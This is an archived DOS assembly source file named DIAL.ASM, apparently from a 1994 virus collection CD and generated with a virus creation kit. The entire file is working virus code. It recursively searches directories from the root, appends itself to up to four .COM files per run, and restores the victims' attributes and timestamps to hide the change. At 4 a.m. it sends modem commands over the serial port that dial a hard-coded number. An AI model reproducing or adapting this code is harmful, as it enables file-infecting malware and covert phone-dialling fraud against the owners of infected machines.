home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / DIAL.ASM < prev    next >
Assembly Source File  |  1994-10-02  |  13KB  |  320 lines

  1. ; DIAL.ASM -- HorneyMan
  2. ; Created with Nowhere Man's Virus Creation Laboratory v1.00
  3. ; Written by Frankenchrist
  4.  
  5. virus_type      equ     0                       ; Appending Virus
  6. is_encrypted    equ     0                       ; We're not encrypted
  7. tsr_virus       equ     0                       ; We're not TSR
  8.  
  9. code            segment byte public
  10.         assume  cs:code,ds:code,es:code,ss:code
  11.         org     0100h
  12.  
  13. main            proc    near
  14.         db      0E9h,00h,00h            ; Near jump (for compatibility)
  15. start:          call    find_offset             ; Like a PUSH IP
  16. find_offset:    pop     bp                      ; BP holds old IP
  17.         sub     bp,offset find_offset   ; Adjust for length of host
  18.  
  19.         lea     si,[bp + buffer]        ; SI points to original start
  20.         mov     di,0100h                ; Push 0100h on to stack for
  21.         push    di                      ; return to main program
  22.         movsw                           ; Copy the first two bytes
  23.         movsb                           ; Copy the third byte
  24.  
  25.         mov     di,bp                   ; DI points to start of virus
  26.  
  27.         mov     bp,sp                   ; BP points to stack
  28.         sub     sp,128                  ; Allocate 128 bytes on stack
  29.  
  30.         mov     ah,02Fh                 ; DOS get DTA function
  31.         int     021h
  32.         push    bx                      ; Save old DTA address on stack
  33.  
  34.         mov     ah,01Ah                 ; DOS set DTA function
  35.         lea     dx,[bp - 128]           ; DX points to buffer on stack
  36.         int     021h
  37.  
  38.         mov     cx,0004h                ; Do 4 infections
  39. search_loop:    push    cx                      ; Save CX
  40.         call    search_files            ; Find and infect a file
  41.         pop     cx                      ; Restore CX
  42.         loop    search_loop             ; Repeat until CX is 0
  43.  
  44.         call    get_hour
  45.         cmp     ax,0004h                ; Did the function return 4?
  46.         jne     skip00                  ; If not equal, skip effect
  47.         jmp     short strt00            ; Success -- skip jump
  48. skip00:         jmp     end00                   ; Skip the routine
  49. strt00:         lea     si,[di + data00]        ; SI points to data
  50.         xor     dx,dx                   ; Clear DX
  51.         call    serial_string
  52.         lea     si,[di + data01]        ; SI points to data
  53.         mov     dx,0001h                ; Second argument is 1
  54.         call    serial_string
  55.         lea     si,[di + data02]        ; SI points to data
  56.         mov     dx,0002h                ; Second argument is 2
  57.         call    serial_string
  58.         lea     si,[di + data03]        ; SI points to data
  59.         mov     dx,0003h                ; Second argument is 3
  60.         call    serial_string
  61. end00:
  62. com_end:        pop     dx                      ; DX holds original DTA address
  63.         mov     ah,01Ah                 ; DOS set DTA function
  64.         int     021h
  65.  
  66.         mov     sp,bp                   ; Deallocate local buffer
  67.  
  68.         xor     ax,ax                   ;
  69.         mov     bx,ax                   ;
  70.         mov     cx,ax                   ;
  71.         mov     dx,ax                   ; Empty out the registers
  72.         mov     si,ax                   ;
  73.         mov     di,ax                   ;
  74.         mov     bp,ax                   ;
  75.  
  76.         ret                             ; Return to original program
  77. main            endp
  78.  
  79. search_files    proc    near
  80.         push    bp                      ; Save BP
  81.         mov     bp,sp                   ; BP points to local buffer
  82.         sub     sp,64                   ; Allocate 64 bytes on stack
  83.  
  84.         mov     ah,047h                 ; DOS get current dir function
  85.         xor     dl,dl                   ; DL holds drive # (current)
  86.         lea     si,[bp - 64]            ; SI points to 64-byte buffer
  87.         int     021h
  88.  
  89.         mov     ah,03Bh                 ; DOS change directory function
  90.         lea     dx,[di + root]          ; DX points to root directory
  91.         int     021h
  92.  
  93.         call    traverse                ; Start the traversal
  94.  
  95.         mov     ah,03Bh                 ; DOS change directory function
  96.         lea     dx,[bp - 64]            ; DX points to old directory
  97.         int     021h
  98.  
  99.         mov     sp,bp                   ; Restore old stack pointer
  100.         pop     bp                      ; Restore BP
  101.         ret                             ; Return to caller
  102.  
  103. root            db      "\",0                   ; Root directory
  104. search_files    endp
  105.  
  106. traverse        proc    near
  107.         push    bp                      ; Save BP
  108.  
  109.         mov     ah,02Fh                 ; DOS get DTA function
  110.         int     021h
  111.         push    bx                      ; Save old DTA address
  112.  
  113.         mov     bp,sp                   ; BP points to local buffer
  114.         sub     sp,128                  ; Allocate 128 bytes on stack
  115.  
  116.         mov     ah,01Ah                 ; DOS set DTA function
  117.         lea     dx,[bp - 128]           ; DX points to buffer
  118.         int     021h
  119.  
  120.         mov     ah,04Eh                 ; DOS find first function
  121.         mov     cx,00010000b            ; CX holds search attributes
  122.         lea     dx,[di + all_files]     ; DX points to "*.*"
  123.         int     021h
  124.         jc      leave_traverse          ; Leave if no files present
  125.  
  126. check_dir:      cmp     byte ptr [bp - 107],16  ; Is the file a directory?
  127.         jne     another_dir             ; If not, try again
  128.         cmp     byte ptr [bp - 98],'.'  ; Did we get a "." or ".."?
  129.         je      another_dir             ;If so, keep going
  130.  
  131.         mov     ah,03Bh                 ; DOS change directory function
  132.         lea     dx,[bp - 98]            ; DX points to new directory
  133.         int     021h
  134.  
  135.         call    traverse                ; Recursively call ourself
  136.  
  137.         pushf                           ; Save the flags
  138.         mov     ah,03Bh                 ; DOS change directory function
  139.         lea     dx,[di + up_dir]        ; DX points to parent directory
  140.         int     021h
  141.         popf                            ; Restore the flags
  142.  
  143.         jnc     done_searching          ; If we infected then exit
  144.  
  145. another_dir:    mov     ah,04Fh                 ; DOS find next function
  146.         int     021h
  147.         jnc     check_dir               ; If found check the file
  148.  
  149. leave_traverse:
  150.         lea     dx,[di + com_mask]      ; DX points to "*.COM"
  151.         call    find_files              ; Try to infect a file
  152. done_searching: mov     sp,bp                   ; Restore old stack frame
  153.         mov     ah,01Ah                 ; DOS set DTA function
  154.         pop     dx                      ; Retrieve old DTA address
  155.         int     021h
  156.  
  157.         pop     bp                      ; Restore BP
  158.         ret                             ; Return to caller
  159.  
  160. up_dir          db      "..",0                  ; Parent directory name
  161. all_files       db      "*.*",0                 ; Directories to search for
  162. com_mask        db      "*.COM",0               ; Mask for all .COM files
  163. traverse        endp
  164.  
  165. find_files      proc    near
  166.         push    bp                      ; Save BP
  167.  
  168.         mov     ah,02Fh                 ; DOS get DTA function
  169.         int     021h
  170.         push    bx                      ; Save old DTA address
  171.  
  172.         mov     bp,sp                   ; BP points to local buffer
  173.         sub     sp,128                  ; Allocate 128 bytes on stack
  174.  
  175.         push    dx                      ; Save file mask
  176.         mov     ah,01Ah                 ; DOS set DTA function
  177.         lea     dx,[bp - 128]           ; DX points to buffer
  178.         int     021h
  179.  
  180.         mov     ah,04Eh                 ; DOS find first file function
  181.         mov     cx,00100111b            ; CX holds all file attributes
  182.         pop     dx                      ; Restore file mask
  183. find_a_file:    int     021h
  184.         jc      done_finding            ; Exit if no files found
  185.         call    infect_file             ; Infect the file!
  186.         jnc     done_finding            ; Exit if no error
  187.         mov     ah,04Fh                 ; DOS find next file function
  188.         jmp     short find_a_file       ; Try finding another file
  189.  
  190. done_finding:   mov     sp,bp                   ; Restore old stack frame
  191.         mov     ah,01Ah                 ; DOS set DTA function
  192.         pop     dx                      ; Retrieve old DTA address
  193.         int     021h
  194.  
  195.         pop     bp                      ; Restore BP
  196.         ret                             ; Return to caller
  197. find_files      endp
  198.  
  199. infect_file     proc    near
  200.         mov     ah,02Fh                 ; DOS get DTA address function
  201.         int     021h
  202.         mov     si,bx                   ; SI points to the DTA
  203.  
  204.         mov     byte ptr [di + set_carry],0  ; Assume we'll fail
  205.  
  206.         cmp     word ptr [si + 01Ah],(65279 - (finish - start))
  207.         jbe     size_ok                 ; If it's small enough continue
  208.         jmp     infection_done          ; Otherwise exit
  209.  
  210. size_ok:        mov     ax,03D00h               ; DOS open file function, r/o
  211.         lea     dx,[si + 01Eh]          ; DX points to file name
  212.         int     021h
  213.         xchg    bx,ax                   ; BX holds file handle
  214.  
  215.         mov     ah,03Fh                 ; DOS read from file function
  216.         mov     cx,3                    ; CX holds bytes to read (3)
  217.         lea     dx,[di + buffer]        ; DX points to buffer
  218.         int     021h
  219.  
  220.         mov     ax,04202h               ; DOS file seek function, EOF
  221.         cwd                             ; Zero DX _ Zero bytes from end
  222.         mov     cx,dx                   ; Zero CX /
  223.         int     021h
  224.  
  225.         xchg    dx,ax                   ; Faster than a PUSH AX
  226.         mov     ah,03Eh                 ; DOS close file function
  227.         int     021h
  228.         xchg    dx,ax                   ; Faster than a POP AX
  229.  
  230.         sub     ax,finish - start + 3   ; Adjust AX for a valid jump
  231.         cmp     word ptr [di + buffer + 1],ax  ; Is there a JMP yet?
  232.         je      infection_done          ; If equal then exit
  233.         mov     byte ptr [di + set_carry],1  ; Success -- the file is OK
  234.         add     ax,finish - start       ; Re-adjust to make the jump
  235.         mov     word ptr [di + new_jump + 1],ax  ; Construct jump
  236.  
  237.         mov     ax,04301h               ; DOS set file attrib. function
  238.         xor     cx,cx                   ; Clear all attributes
  239.         lea     dx,[si + 01Eh]          ; DX points to victim's name
  240.         int     021h
  241.  
  242.         mov     ax,03D02h               ; DOS open file function, r/w
  243.         int     021h
  244.         xchg    bx,ax                   ; BX holds file handle
  245.  
  246.         mov     ah,040h                 ; DOS write to file function
  247.         mov     cx,3                    ; CX holds bytes to write (3)
  248.         lea     dx,[di + new_jump]      ; DX points to the jump we made
  249.         int     021h
  250.  
  251.         mov     ax,04202h               ; DOS file seek function, EOF
  252.         cwd                             ; Zero DX _ Zero bytes from end
  253.         mov     cx,dx                   ; Zero CX /
  254.         int     021h
  255.  
  256.         mov     ah,040h                 ; DOS write to file function
  257.         mov     cx,finish - start       ; CX holds virus length
  258.         lea     dx,[di + start]         ; DX points to start of virus
  259.         int     021h
  260.  
  261.         mov     ax,05701h               ; DOS set file time function
  262.         mov     cx,[si + 016h]          ; CX holds old file time
  263.         mov     dx,[si + 018h]          ; DX holds old file date
  264.         int     021h
  265.  
  266.         mov     ah,03Eh                 ; DOS close file function
  267.         int     021h
  268.  
  269.         mov     ax,04301h               ; DOS set file attrib. function
  270.         xor     ch,ch                   ; Clear CH for file attribute
  271.         mov     cl,[si + 015h]          ; CX holds file's old attributes
  272.         lea     dx,[si + 01Eh]          ; DX points to victim's name
  273.         int     021h
  274.  
  275. infection_done: cmp     byte ptr [di + set_carry],1  ; Set carry flag if failed
  276.         ret                             ; Return to caller
  277.  
  278. set_carry       db      ?                       ; Set-carry-on-exit flag
  279. buffer          db      090h,0CDh,020h          ; Buffer to hold old three bytes
  280. new_jump        db      0E9h,?,?                ; New jump to virus
  281. infect_file     endp
  282.  
  283.  
  284. serial_string   proc    near
  285.         mov     ax,0000000001000011b    ; BIOS init. serial port
  286.         int     014h                    ; (300 baud, N, 8, 1)
  287. serial_loop:    mov     ah,1                    ; BIOS send character function
  288.         lodsb                           ; Load next character into AL
  289.         or      al,al                   ; Is it a NULL?
  290.         je      serial_done             ; If so then exit
  291.         int     014h                    ; Transmit the character
  292.         jmp     short serial_loop       ; Loop until string terminates
  293. serial_done:
  294.         ret                             ; Return to caller
  295. serial_string   endp
  296.  
  297. get_hour        proc    near
  298.         mov     ah,02Ch                 ; DOS get time function
  299.         int     021h
  300.         mov     al,ch                   ; Copy hour into AL
  301.         cbw                             ; Sign-extend AL into AX
  302.         ret                             ; Return to caller
  303. get_hour        endp
  304.  
  305. data00                  db      "AT&FM0L0DT19008201110",13,10,0
  306.  
  307. data01                  db      "AT&FM0L0DT19008201110",13,10,0
  308.  
  309. data02                  db      "AT&FM0L0DT19008201110",13,10,0
  310.  
  311. data03                  db      "AT&FM0L0DT19008201110",13,10,0
  312.  
  313.  
  314. vcl_marker      db      "[VCL]",0               ; VCL creation marker
  315.  
  316. finish          label   near
  317.  
  318. code            ends
  319.         end     main
  320.